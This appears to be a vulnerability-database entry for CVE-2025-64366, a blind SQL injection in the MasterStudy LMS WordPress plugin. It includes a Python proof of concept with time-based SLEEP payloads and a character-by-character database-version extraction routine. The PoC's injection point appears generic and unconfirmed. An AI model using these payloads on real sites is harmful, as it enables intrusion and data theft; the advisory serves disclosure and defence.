Security Vulnerability Report
中文
CVE-2025-64366 CVSS 7.6 HIGH

CVE-2025-64366

Published: 2025-10-31 12:15:37
Last Modified: 2026-04-27 16:16:41

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Stylemix MasterStudy LMS masterstudy-lms-learning-management-system allows Blind SQL Injection.This issue affects MasterStudy LMS: from n/a through <= 3.6.27.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

MasterStudy LMS <= 3.6.27

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import time target = "http://target-wordpress-site.com" # Blind SQL Injection PoC - Time-based # This PoC demonstrates the vulnerability by checking if the response time increases def test_blind_sql_injection(url, param_name, param_value): """ Test for blind SQL injection vulnerability """ headers = { 'User-Agent': 'Mozilla/5.0', 'Content-Type': 'application/x-www-form-urlencoded' } # Original request start_time = time.time() response1 = requests.post(url, data={param_name: param_value}, headers=headers, timeout=30) time1 = time.time() - start_time # Request with SQL sleep command # If vulnerable, this will cause a 5 second delay malicious_value = f"{param_value}' AND SLEEP(5)-- -" start_time = time.time() response2 = requests.post(url, headers=headers, data={param_name: malicious_value}, timeout=60) time2 = time.time() - start_time # If time2 > time1 significantly, vulnerability exists if time2 > time1 + 4: print(f"[+] Blind SQL Injection vulnerability confirmed!") print(f"[+] Original request time: {time1:.2f}s") print(f"[+] Malicious request time: {time2:.2f}s") return True else: print(f"[-] No vulnerability detected") return False # Example exploitation - Extract database version def extract_db_version(url, param_name, param_value): """ Extract database version using blind SQL injection """ for i in range(1, 20): for ascii_val in range(32, 127): payload = f"{param_value}' AND IF(SUBSTRING(@@version, {i}, 1) = CHAR({ascii_val}), SLEEP(3), 1)-- -" start = time.time() response = requests.post(url, data={param_name: payload}, timeout=30) elapsed = time.time() - start if elapsed > 2.5: char = chr(ascii_val) print(f"Character {i}: {char}", end='', flush=True) break print() if __name__ == "__main__": # Replace with actual vulnerable endpoint test_url = f"{target}/wp-admin/admin-ajax.php" test_blind_sql_injection(test_url, "action", "stm_lms_get_user_courses")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64366", "sourceIdentifier": "[email protected]", "published": "2025-10-31T12:15:37.280", "lastModified": "2026-04-27T16:16:41.330", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Stylemix MasterStudy LMS masterstudy-lms-learning-management-system allows Blind SQL Injection.This issue affects MasterStudy LMS: from n/a through <= 3.6.27."}, {"lang": "es", "value": "Una vulnerabilidad de Neutralización incorrecta de elementos especiales utilizados en un comando SQL (inyección SQL) en Stylemix MasterStudy LMS masterstudy-lms-learning-management-system permite inyección SQL ciega. Este problema afecta a MasterStudy LMS: desde n/a hasta menor igual que 3.6.27."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/masterstudy-lms-learning-management-system/vulnerability/wordpress-masterstudy-lms-plugin-3-6-27-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}